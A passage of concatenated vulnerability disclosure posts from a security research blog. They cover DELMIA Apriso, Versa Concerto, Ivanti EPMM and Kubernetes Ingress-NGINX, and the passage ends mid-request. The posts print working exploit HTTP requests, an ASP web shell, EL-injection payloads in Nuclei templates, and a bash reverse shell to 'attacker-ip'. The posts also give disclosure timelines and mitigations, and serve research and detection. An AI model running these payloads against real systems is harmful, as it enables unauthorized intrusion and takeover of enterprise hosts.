Note - This is cross post from our work at Projectdiscovery Blog
DELMIA Apriso is a manufacturing execution and operations orchestration platform used by large manufacturers, service providers, and critical infrastructure operators. Because the product exposes multiple integration points (SOAP, file uploads, provisioning feeds) that are often reachable from internal networks, we performed a focused black-box assessment to surface integration and surface-area weaknesses.
Our testing uncovered two chained, high-impact issues: an unauthenticated SOAP provisioning endpoint that can create accounts with elevated roles, and an upload handler that fails to canonicalize filenames, allowing authenticated users to drop executable files into a web-served directory. Together these lead to full application compromise and were assigned CVE-2025-6204 and CVE-2025-6205.
During the same engagement we also discovered unauthenticated deserialization flaws in other components. We reported those deserialization issues to Apple’s bug bounty program at the time (we did not submit them directly to the vendor), and later independent research by Synacktiv documented the very same vulnerabilities across Apriso versions corroborating that these classes of flaws recurred in the product family.
We tested an on-prem installation of DELMIA Apriso’s application stack. The product exposes a SOAP-based message processor endpoint that accepts XML payloads for bulk employee/identity provisioning. Separately, the product exposes a file upload API used by portal components but that is accessible only post-authentication. Under normal operation these features are intended to be restricted to trusted integrations and administrators. During testing we discovered that:
Both findings chain together: the unauthenticated account creation gives an attacker credentials, and those credentials are then used to authenticate and abuse the file upload to drop a web shell.
A SOAP action implemented at /Apriso/MessageProcessor/FlexNetMessageProcessor.svc accepts a ProcessMessageASync_v2 operation carrying an XML document that conforms to a FlexNet_Employees schema. The XML structure includes fields for login name, password, employee metadata and, crucially, employee roles. We sent a crafted XML payload (embedded in the SOAP body) that included a new employee element with a login and password of our choosing and assigned the Production User role.
The endpoint processed the payload without requiring any authentication or message-signing, and created the account in the system. The ability to create an account with a role that grants elevated privileges turns an external attacker into an authenticated, powerful principal with the ability to perform actions intended only for administrators or trusted integrations.
Vulnerable HTTP Request:
POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
Content-type: text/xml;charset=utf-8
Host:
Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:ProcessMessageASync_v2>
<tem:xmlMessage><FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0"> 	<Employee> 		<GivenName>FIRST</GivenName> 		<FamilyName>LAST</FamilyName> 		<EmployeeNo>08262004</EmployeeNo> 		<LoginName>LAST</LoginName> 		<Password>9</Password> 		<HireDate>2000-06-01T00:00:00</HireDate> 		<SpokenLanguageID>1033</SpokenLanguageID> 		<WrittenLanguageID>1033</WrittenLanguageID> 		<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate> 		<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate> 		<EmployeeType>0</EmployeeType> 		<DefaultFacility>C1P1</DefaultFacility> 		<TrackLaborFlag>true</TrackLaborFlag> 		<ResourceID NodeType="Field"> 			<Resource_Insert> 				<Name>FIRST</Name> 				<ResourceName>FIRST</ResourceName> 				<ResourceType>1</ResourceType> 				<FUID NodeType="Field"/> 			</Resource_Insert> 		</ResourceID> 		<EmployeeRole> 			<EmployeeID NodeType="Field"/> 			<RoleID NodeType="Field"> 				<Role> 					<Role>Production User</Role> 				</Role> 			</RoleID> 		</EmployeeRole> 	</Employee> </FlexNet_Employees></tem:xmlMessage>
<tem:applicationName>myExternalApplication</tem:applicationName>
</tem:ProcessMessageASync_v2>
</soapenv:Body>
</soapenv:Envelope>
The HTML encoded XML payload is nothing but the following XML content:
<FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd"
Version="1.0">
<Employee>
<GivenName>FIRST</GivenName>
<FamilyName>LAST</FamilyName>
<EmployeeNo>08262004</EmployeeNo>
<LoginName>LAST</LoginName>
<Password>9</Password>
<HireDate>2000-06-01T00:00:00</HireDate>
<SpokenLanguageID>1033</SpokenLanguageID>
<WrittenLanguageID>1033</WrittenLanguageID>
<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate>
<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate>
<EmployeeType>0</EmployeeType>
<DefaultFacility>C1P1</DefaultFacility>
<TrackLaborFlag>true</TrackLaborFlag>
<ResourceID NodeType="Field">
<Resource_Insert>
<Name>FIRST</Name>
<ResourceName>FIRST</ResourceName>
<ResourceType>1</ResourceType>
<FUID NodeType="Field" />
</Resource_Insert>
</ResourceID>
<EmployeeRole>
<EmployeeID NodeType="Field" />
<RoleID NodeType="Field">
<Role>
<Role>Production User</Role>
</Role>
</RoleID>
</EmployeeRole>
</Employee>
</FlexNet_Employees>
An attacker can send the above crafted SOAP request to create a new user with arbitrary credentials (e.g., username: LAST, **password: 9 **in this case) without authentication. The XML payload allows setting user details and assigning the “Production User” role, which may grant elevated privileges.
After authenticating with an account created via the SOAP endpoint, we exercised the application’s file upload API. The upload handler accepts a filename parameter but does not correctly normalize it. By including path traversal sequences in the filename we were able to have the server persist the uploaded data into a directory that is subsequently served by the webserver, thereby allowing execution of server-side code uploaded by the attacker.
Send a crafted request to upload a web shell with authenticated cookies using the first bug:
POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\uploads\webshell.asp HTTP/1.1
Host:
Cookie: [Redacted... Authenticate session ...Redacted]
Content-Type: application/x-www-form-urlencoded
<%
Response.Write "" & "<br>"
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
Set fso = Nothing
%>
Access the web shell at /apriso/portal/uploads/webshell.asp in the same authenticated session, to make it safe for testing, uploaded webshell gets auto delete upon access.
In conclusion, our black-box assessment of DELMIA Apriso revealed a chain of critical issues - an unauthenticated provisioning endpoint that allows account creation with elevated roles and an authenticated file-upload path-traversal that leads to remote code execution. Together these flaws create a low-effort, high-impact path to full application compromise and lateral movement, placing organizations that rely on Apriso at substantial risk if left unmitigated.
We strongly encourage DELMIA Apriso operators to immediately apply vendor patches. We also recommend checking newly created privileged accounts and scanning upload directories for unexpected web shells or similar executables.
To help defenders quickly identify affected systems, we published two Nuclei templates for these issues to the ProjectDiscovery Cloud platform; you can use it to scan your infrastructure for susceptible Apriso instances. ProjectDiscovery also offers free monthly scans to help organizations detect emerging threats and a 30-day trial for business email addresses to run broader coverage - useful complements while you roll out fixes and compensating controls.
| Date | Event |
|---|---|
| 2025-05-14 | Issues reported to 3DS Security. |
| 2025-05-14 | Acknowledgement received from vendor. |
| 2025-05-15 | Vendor requested additional configuration and version details. |
| 2025-05-16 | Additional details provided to the vendor |
| 2025-08-06 | Two CVEs assigned and published (CVE-2025-6204, CVE-2025-6205). |
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
]]>Note - This is cross post from our work at Projectdiscovery Blog
Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service providers, and government entities, the security of this platform is critical. Given its extensive adoption and potential exposure to external threats, we initiated research to assess its security posture and uncover possible vulnerabilities.
Our research led to the discovery of multiple critical security flaws in Versa Concerto’s deployment. In this blog, we explore multiple vulnerabilities discovered in Versa Concerto, a Spring Boot-based application deployed via Docker containers and routed through Traefik.
These vulnerabilities, when chained together, could allow an attacker to fully compromise both the application and the underlying host system. This research highlights how small misconfigurations in modern cloud-based deployments can escalate into severe security risks, particularly for platforms handling sensitive network configurations and enterprise data.
Versa Concerto is deployed using multiple Docker containers, with the key ones being:

To understand the appliance’s routing, we start by analyzing the Traefik container. The Traefik container listens on ports 80/443, serving as the entry point for client requests. Based on location configurations, incoming requests are routed to either core-service or web-service. Both of these containers deploys Spring Boot embedded applications. We decompiled their code to audit their authentication mechanisms.
Our primary focus was the AuthenticationFilter class, which is typically responsible for handling authentication in Spring applications. Upon reviewing the decompiled code, we observed that certain paths were explicitly excluded from authentication:
String clienturi = URIUtil.getNormalizeURI(request);
...
if (clienturi.contains("/actuator") || clienturi.endsWith("/v1/ping") ...) {
skipAuth = true;
}
...
However, we noticed an inconsistency between the authentication check and the actual URL being processed.
public static String getNormalizeURI(HttpServletRequest request) {
String uri = request.getRequestURI();
return removeExtraSlash(URLDecoder.decode(URI.create(uri).normalize().toString(), StandardCharsets.UTF_8));
}
Bypassing authentication is possible using a request URL like - /portalapi/v1/users/username/admin;%2fv1%2fping
After discovering the authentication bypass, we analyzed the authorization mechanisms across the services. Most endpoints enforced strict authorization checks by validating the user’s assigned role. As a result, we were unable to access the majority of critical endpoints within the core-service. Only a handful of endpoints were exposed without authorization checks, but they did not provide a viable path for privilege escalation.
Shifting our focus to the web-service, we identified an endpoint related to package uploads /portalapi/v1/package/spack/upload that appeared to be vulnerable to arbitrary file writes. The logic within this endpoint suggested that we could write files to an arbitrary location on the system, making it a promising vector for further exploitation.
@PostMapping(value = {"spack/upload"}, produces = {"application/json"}, consumes = {"multipart/form-data"})
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> upload(HttpServletRequest httpRequest, HttpServletResponse httpResponse, @RequestParam(name = "spackFile", required = true) MultipartFile spackFile, @RequestParam(name = "spackChecksumFile", required = true) MultipartFile spackChecksumFile, @RequestParam(value = "updatetype", defaultValue = "full") String updateType, @RequestParam(value = "flavour", defaultValue = "premium") String flavour) throws Exception {
String spackFilePath = "/var/versa/ecp/share/files/" + spackFile.getOriginalFilename();
String spackSigFilePath = "/var/versa/ecp/share/files/" + spackChecksumFile.getOriginalFilename();
try {
copyPackage(spackFile, spackFilePath); [1]
copyPackage(spackChecksumFile, spackSigFilePath); [2]
String bearerToken = UserContextHolder.getContext().getUserAccessTken(); [3]
if (bearerToken != null) {
...
}
Status status = new Status();
status.setStatus("Bearer Token empty");
return new ResponseEntity<>(status, HttpStatus.INTERNAL_SERVER_ERROR);
} catch (Exception e) {
Files.deleteIfExists(Paths.get(spackFilePath, new String[0])); [4]
Files.deleteIfExists(Paths.get(spackSigFilePath, new String[0])); [5]
logger.error("Error while uploading Spack", (Throwable) e);
return handleException(e, httpRequest);
}
}
private synchronized void copyPackage(MultipartFile uploadFile, String filePath) throws Exception {
Files.deleteIfExists(Paths.get(filePath, new String[0]));
InputStream inputStream = uploadFile.getInputStream();
try {
Files.copy(inputStream, Paths.get(filePath, new String[0]), new CopyOption[0]);
if (inputStream != null) {
inputStream.close();
}
} catch (Throwable th) {
if (inputStream != null) {
try {
inputStream.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}
Despite the apparent vulnerability, there was a significant obstacle. While the file was successfully written to disk at [1] and [2], it was immediately deleted inside a try/catch block at [4] an [5]. If any exception occurred during execution, the application would trigger a cleanup process that removed the uploaded file. Specifically, right after writing the file at [1] and [2], the code tried to retrieve the access token from current user context at [3]. This check resulted in a null pointer exception, which in turn caused the deletion of our written file at [4] and [5].
Even though the file was being deleted almost instantly, there’s a brief window of time in which an arbitrary file write was possible. This introduced the possibility of a race condition, which could potentially be exploited to use the written file to cause remote code execution.
Initially, we considered exploiting the vulnerability by writing a web shell to the web root. However, since this was a Spring Boot embedded application, it did not follow the traditional file-serving structure, meaning we couldn’t simply drop a shell and execute it as we would in a typical web application.
After ruling out this approach, we explored the possibility of leveraging cron jobs for execution. However, upon further investigation, we discovered that the web-service container did not have cron set up, eliminating this option as well. This forced us to rethink our strategy and look for alternative execution methods.
We then utilized an LD_PRELOAD trick to achieve remote code execution. Our approach involved overwriting ../../../../../../etc/ld.so.preload with a path pointing to /tmp/hook.so. Simultaneously, we uploaded /tmp/hook.so, which contained a compiled C binary for a reverse shell. Since our request triggered two file write operations, we leveraged this to ensure that both files were written within the same request.
Once these files were successfully written, any command execution on the system while both persisted would result in the execution of /tmp/hook.so, thereby giving us a reverse shell. While looking for a suitable trigger, we observed that a curl command was being executed every 10 seconds within the web-service container to check the container’s health status.
Knowing this, we continuously sent requests to write both ../../../../../../etc/ld.so.preload and /tmp/hook.so in a way that created a race condition. Our goal was to ensure that at the exact moment the health check executed, both files would be present on the system. Once all three conditions aligned—the presence of ld.so.preload, the malicious shared object, and a triggered system command—we successfully achieved remote code execution (RCE).
Your browser does not support the video tag.
While analyzing the authentication filter, we noticed that access control for certain endpoints, including the Spring Boot Actuator endpoints, relied on the presence of the X-Real-Ip header. Specifically, if this header was set, the application performed an additional check to determine whether access should be granted.
String clientReapIp = request.getHeader("X-Real-Ip");
...
if (StringUtils.isNotBlank(clientReapIp)) {
if (clinturi.toLowerCase().contains("/actuator")) {
this.springBootAuditUtil.extractAuditInfo(request);
logger.warn("Blocked external access to actuator uri={} from source ip={}", clinturi, clientReapIp);
audit.setReadableText("Blocked access to /actuator for external source IP=" + clientReapIp);
audit.setObjectType("Actuator");
audit.setTenantName(GraphConstant.DEFAULT_TENANT);
response.setStatus(HttpStatus.FORBIDDEN.value());
response.getWriter().write("{ \"message\": \"Access denied to /actuator.\"}");
audit.setStatus(HttpStatus.FORBIDDEN.toString());
return;
}
...
This logic ensures that if an external request contains X-Real-Ip, and the request URI contains /actuator, access is explicitly denied.
As previously mentioned, client requests are initially sent to the Traefik reverse proxy, which then forwards them to the Spring Boot applications running on Tomcat. Traefik automatically sets the X-Real-Ip header when forwarding requests, meaning that external requests are always flagged as originating from an external source.
However, we identified a hop-by-hop header handling vulnerability in the version of Traefik in use. This issue, documented in Traefik Security Advisory GHSA-62c8-mh53-4cqv, allows an attacker to drop specific headers that would otherwise be added by Traefik.
By leveraging this issue, we can drop the X-Real-Ip header from the forwarded request. Without this header, the access control logic is never triggered, and we can access restricted actuator endpoints.
GET /actuator HTTP/1.1
Host: <Host>
Connection: X-Real-IP
By setting Connection: X-Real-IP, we instruct Traefik to drop the X-Real-Ip header before forwarding the request to the backend. Since the authentication logic depends on this header’s presence, the request bypasses the security check, granting us direct access to the /actuator endpoints.
This allows to get plain text credentials via downloading heap-dump or/else directly access logs via /portalapi/actuator/traces that would directly disclose logged user session tokens and login into appliance as admin. Once you become an admin, there are various routes available to get Remote Code Execution such as by uploading a security package.
We also observed a critical misconfiguration that allowed us to escape from web-service docker container and gain execution on the host machine.
On Ubuntu systems, a default cron job exists under /etc/cron.d/popularity-contest, designed to gather usage statistics on installed Debian packages. This cron job executes every hour on the host machine, running a shell script that makes use of commands such as test, touch, and cd.
Ordinarily, this wouldn’t pose a security risk. However, in this case, we discovered that the core-service docker container had /usr/bin/ and /bin/ directories directly mapped to the host’s filesystem. This meant that any changes made to binaries within the container would also apply to the host system.
With root access inside the container, we leveraged this misconfiguration to overwrite one of the frequently used binaries (test) with a malicious shell script. This ensured that when the popularity-contest cron job executed on the host, our payload would be triggered.
With full control over the mapped system binaries, we replaced /usr/bin/test with a script that initiated a reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Make the script executable and wait for the hourly cron job to execute. As expected, when the cron job ran, it called our malicious test binary, granting us a reverse shell on the Concerto host system.
Versa Concerto API Auth Bypass:
id: CVE-2025-34027
info:
name: Versa Concerto API Path Based - Authentication Bypass
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
reference:
- https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
- https://versa-networks.com/documents/datasheets/versa-concerto.pdf
- https://www.cve.org/CVERecord?id=CVE-2025-34027
- https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f
classification:
epss-score: 0.04812
epss-percentile: 0.89005
cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: versa-networks
product: concerto
max-request: 1
shodan-query: http.favicon.hash:-534530225
tags: cve,cve2025,versa,concerto,auth-bypass,vkev,vuln
http:
- raw:
- |
GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
Host:
matchers-condition: and
matchers:
- type: word
part: body
words:
- ENTERPRISE_ADMINISTRATOR
- type: word
part: header
words:
- EECP-CSRF-TOKEN
# digest: 4a0a00473045022100874e1d825ccf8febc4e0a2b959b9f4d9cca806155d2a8ccfaf8e9d04d4f0a5f602203c68736e72da44753646cd9389ac072b532fc31984d7b29840f51578ee70ae20:922c64590222798bb761d5b6d8e72950
Versa Concerto Actuator Auth Bypass:
id: CVE-2025-34026
info:
name: Versa Concerto Actuator Endpoint - Authentication Bypass
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
reference:
- https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
- https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
- https://www.cve.org/CVERecord?id=CVE-2025-34026
classification:
epss-score: 0.09939
epss-percentile: 0.92715
cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: versa-networks
product: concerto
max-request: 1
shodan-query: http.favicon.hash:-534530225
tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln
http:
- raw:
- |
GET /portalapi/actuator HTTP/1.1
Host:
Connection: X-Real-Ip
matchers-condition: and
matchers:
- type: word
part: body
words:
- heapdump
- type: word
part: header
words:
- EECP-CSRF-TOKEN
# digest: 4b0a00483046022100ad944aab44a5b722fc1a096bd6db3e2cb077d34cf51a4ee93ea5c16115d7aa0f022100f95a74bd04c8528995d9820d73655ba6f7202b4f019056888bd1adc97ddbf409:922c64590222798bb761d5b6d8e72950
Organizations can implement temporary remediation measures at the reverse proxy or Web Application Firewall (WAF) levels to mitigate the risk posed by the identified authentication bypass vulnerabilities. Here are two recommended actions:
;) in the URL path. This measure will help prevent exploitation of the URL decoding inconsistency that allows authentication bypass.Connection header contains the value X-Real-Ip (case insensitive). This will mitigate the vulnerability that allows unauthorized access to Spring Boot Actuator endpoints by manipulating the X-Real-Ip header.By applying these temporary measures, organizations can reduce the risk of exploitation. It is crucial to monitor network traffic and logs for any suspicious activity and to keep security teams informed of these interim protections.
We disclosed multiple vulnerabilities to the Versa Concerto team and maintained communication over a 90-day period. Below is a summary of the disclosure process and patching timeline:
| Date | Event |
|---|---|
| Feb 13, 2025 | Vulnerabilities reported to the Versa Concerto team with a 90-day disclosure timeline. |
| Feb 15, 2025 | Acknowledgement received; team requested additional info and mentioned eagerness to patch. |
| Feb 17, 2025 | Additional details provided; team stated they would patch all affected releases soon. |
| Mar 7, 2025 | Versa released hot fixes for the reported issues. |
| - CVE-2025-34025 Patch | |
| - CVE-2025-34026 Patch | |
| - CVE-2025-34027 Patch | |
| May 21, 2025 | Published this blog post. |
| May 21, 2025 | VulnCheck assigned CVEs for the reported issues: |
| - CVE-2025-34025 : Insecure Docker Mount → Container Escape | |
| - CVE-2025-34026 : Actuator Authentication Bypass → Information Leak | |
| - CVE-2025-34027 : Authentication Bypass → File Write → RCE |
In conclusion, our research into the Versa Concerto platform has uncovered several critical vulnerabilities that pose significant security risks to enterprises relying on this technology. These vulnerabilities, ranging from authentication bypasses to remote code execution and container escapes, highlight the potential for severe exploitation if left unaddressed.
We urge organizations using Versa Concerto to implement additional security measures and remain vigilant. Our hope is that this disclosure will expedite the resolution process and enhance the overall security posture of the platform.
Nuclei template to detect this vulnerability is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.
For any questions, reach us at [email protected]
]]>Note - This is cross post from our work at Projectdiscovery Blog
As security researchers, we all know that familiar dance when blackbox testing web apps and APIs. You poke an endpoint, get hit with “blah parameter is missing” or “blah is of the wrong type,” and after satisfying every requirement, you’re often met with the frustrating 401 or 403. That feeling of being so close, yet so far, is something we’ve all experienced.
However, in a recent analysis of Ivanti EPMM’s CVE-2025-4427 and CVE-2025-4428 , this very flow of execution – validation happening before authorization – inadvertently paved the way to an unauthenticated Remote Code Execution vulnerability in an Ivanti EPMM/Mobileiron.
In Hibernate Validator, the ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate) call lets you supply a custom violation message using a template string. If that template is constructed from untrusted user input without any escaping or sanitization it effectively opens the door to server-side template injection (SSTI) or Expression-Language (EL) injection. At runtime, Hibernate may process the template through Spring’s StandardELContext to resolve placeholders like ${…}, inadvertently executing any embedded expressions
We unpacked both the patched and unpatched builds of the EPMM server and ran a recursive diff across de-compiled classes. Two validators revealed one-line patches that neutralise user input within error messages:
In DeviceFeatureUsageReportQueryRequestValidator:

Before, the raw format field from the query string was passed into the message builder; after, it was replaced with an empty string. This eliminates the direct EL entry-point, since the message template no longer contains attacker data.
Similarly, In ScepSubjectValidator (used during certificate enrollment):

Here, any user-supplied certificate subject DN used to be HTML-encoded and then concatenated into the error template. That too could carry ${…} payloads into an EL context. The patch removes the interpolation entirely.
While looking where DeviceFeatureUsageReportQueryRequest validator is called, we came across the following controller:
@RequestMapping(method = GET, value = "/api/v2/featureusage")
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@ResponseBody
public Response downloadDeviceFeatureUsageReport(
@Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
HttpServletRequest request) {
[...]
}
MobileIron API exposes GET endpoints at /api/v2/featureusage and /api/v2/featureusage_history and to allow administrators to download device-feature usage reports in formats such as CSV, JSON or PDF.
While making the request to this endpoint as an authenticated user with “format” as query parameter with an invalid value to see if the DeviceFeatureUsageReportQueryRequestValidator is triggered.

and as expected we got the response "Format 'xxx' is invalid. Valid formats are 'json', 'csv'."
Now, entering a simple expression language evaluation payload such as ${3*333} we could confirm the evaluation from response returned "Format '999' is invalid. Valid formats are 'json', 'csv'." .
Suprisingly, this also worked without authentication cookies or token i.e. as unauthenticated user.

To understand why unauthenticated EL evaluation remains possible, we must observe the precise sequence of steps Spring MVC takes for each incoming request:
Because bean-validation fires in step 2, any code executed inside a custom ConstraintValidator runs with the application’s full privileges, even though the authentication and authorization filters have not yet been applied to the HTTP request.
DeviceFeatureUsageReportQueryRequestDeviceFeatureUsageReportQueryRequestValidator.isValid().@PreAuthorize check which is obviously too late.Similarly, we found that @ScepSubjectValidator can be called post-authentication by an admin user that is allowed to create or edit SCEP certificate and test SCEP certificate enrollment.

We’ve created a Nuclei template to easily identify vulnerable Ivanti EPMM instances:
id: CVE-2025-4427
info:
name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
reference:
- https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-4427
cwe-id: CWE-288
epss-score: 0.00942
epss-percentile: 0.75063
metadata:
verified: true
max-request: 2
shodan-query: http.favicon.hash:"362091310"
fofa-query: icon_hash="362091310"
product: endpoint_manager_mobile
vendor: ivanti
tags: cve,cve2025,ivanti,epmm,rce,ssti
http:
- raw:
- |
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1
Host:
- |
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20')%7d HTTP/1.1
Host:
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Format 'Process[pid="
- "localizedMessage"
condition: and
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 400
In the end, CVE-2025-4427 and its sibling CVE-2025-4428 serve as a striking reminder that even well-intentioned security controls can be undermined by the subtleties of framework internals. What appeared to be a simple EL-injection patch in Ivanti’s EPMM validators actually masked a deeper ordering flaw: bean-validation running before Spring Security’s authorization check. By diffing consecutive releases and tracing every call to buildConstraintViolationWithTemplate, we peeled back the layers of Spring MVC’s argument resolution and exposed a window where untrusted input could execute arbitrary code, all without ever presenting a login prompt.
If you’re running a vulnerable Ivanti EPMM instance, update to the one of the fixed versions 11.12.0.5, 12.3.0.2, 12.4.0.2 or 12.5.0.1 as detailed in the Ivanti advisory.
This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.
]]>Note - This is cross post from our work at Projectdiscovery Blog
A critical vulnerability (CVE-2025-1974) was recently discovered in the Kubernetes Ingress-NGINX Controller that allows unauthenticated remote code execution (RCE) on the ingress controller pod.
Originally discovered by the Wiz research team (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) in late 2024 and disclosed in March 2025, CVE-2025-1974 is part of a series of vulnerabilities collectively called IngressNightmare.
If you’re specifically looking to use the IngressNightmare detection templates, feel free to skip ahead to the end of the blog post.
Ingress-Nginx Controller is one of the most popular ingress controllers available for Kubernetes, and a core Kubernetes project with over 18.1k+ stars on GitHub. It serves as a critical component in the Kubernetes ecosystem, acting as the gateway between external traffic and internal services running within a Kubernetes cluster.
In Kubernetes, an Ingress is an API object that manages external access to services within a cluster, typically via HTTP/HTTPS. However, the Ingress resource itself doesn’t do anything without an Ingress controller - a component that interprets the Ingress resource specifications and configures the actual routing.
Ingress-Nginx Controller fulfills this role by implementing the Ingress specification using NGINX, one of the most widely used reverse proxies and load balancers. It’s explicitly highlighted in the Kubernetes documentation as an example Ingress controller that fulfills the prerequisite for using Ingress in Kubernetes.
CVE-2025-1974 is a critical vulnerability in the Ingress-Nginx Controller that allows for unauthenticated remote code execution. At its core, this vulnerability stems from a design flaw in how the admission controller component processes and validates incoming ingress objects.
The admission controller in Ingress-Nginx is designed to validate incoming ingress objects before they are deployed to ensure the resulting NGINX configuration will be valid. By default, these admission controllers are accessible over the network without authentication, making them a highly appealing attack vector.
When the Ingress-Nginx admission controller processes an incoming ingress object, it constructs an NGINX configuration from it and then validates it using the NGINX binary with the -t flag. Wiz research team found a vulnerability in this phase that allows injecting arbitrary NGINX configuration remotely by sending a malicious ingress object directly to the admission controller through the network.
The vulnerability specifically involves the Ingress annotation, which can be exploited to inject configuration into NGINX. Some annotations can be manipulated to inject arbitrary NGINX directives.
Let’s examine how this works:
auth-url annotationnginx -t, the injected configuration causes code executionThe progression from configuration injection to remote code execution exploits weaknesses in NGINX’s configuration validation process. Initially, Wiz research team explored the load_module directive, which allows loading shared libraries from the filesystem. However, since this directive can only be used at the start of the NGINX configuration, it was incompatible with the injection point. Further investigation led to the ssl_engine directive, part of the OpenSSL module, which can also load shared libraries. Unlike load_module, ssl_engine can be used anywhere within the configuration file.
The next challenge in exploiting this vulnerability is placing a shared library on the pod’s filesystem. The research team discovered that the Ingress-Nginx pod also runs the NGINX instance itself, listening on port 80 or 443. By sending a specially crafted HTTP request to this instance, we can leverage NGINX’s client body buffers to upload a malicious shared library to the filesystem.
Once the shared library is uploaded and the malicious configuration is injected, the ssl_engine directive loads the library during the validation phase, executing the attacker’s code with the privileges of the Ingress-Nginx controller pod.
This vulnerability affects:
The vulnerability has been fixed in versions 1.12.1 and later, as well as 1.11.5 and later.
This section provides a detailed walkthrough of how CVE-2025-1974 can be exploited in vulnerable Ingress-Nginx Controller deployments. Understanding the exploitation process is crucial for security teams to properly assess their risk and validate their defenses.
It’s important to note that by default, admission controllers are accessible over the network without authentication, making this attack vector particularly dangerous.
First, an attacker would identify clusters running vulnerable versions of Ingress-Nginx Controller. This can be done by:
kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx
Then checking the image version to determine if it’s vulnerable (versions prior to 1.11.5 or 1.12.1).
The attacker creates a specially crafted AdmissionReview request that includes an ingress object with the malicious auth-url annotation. Here’s an example of such a request:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-ingressxaa",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-ingressxaa",
"namespace": "default",
"creationTimestamp": null,
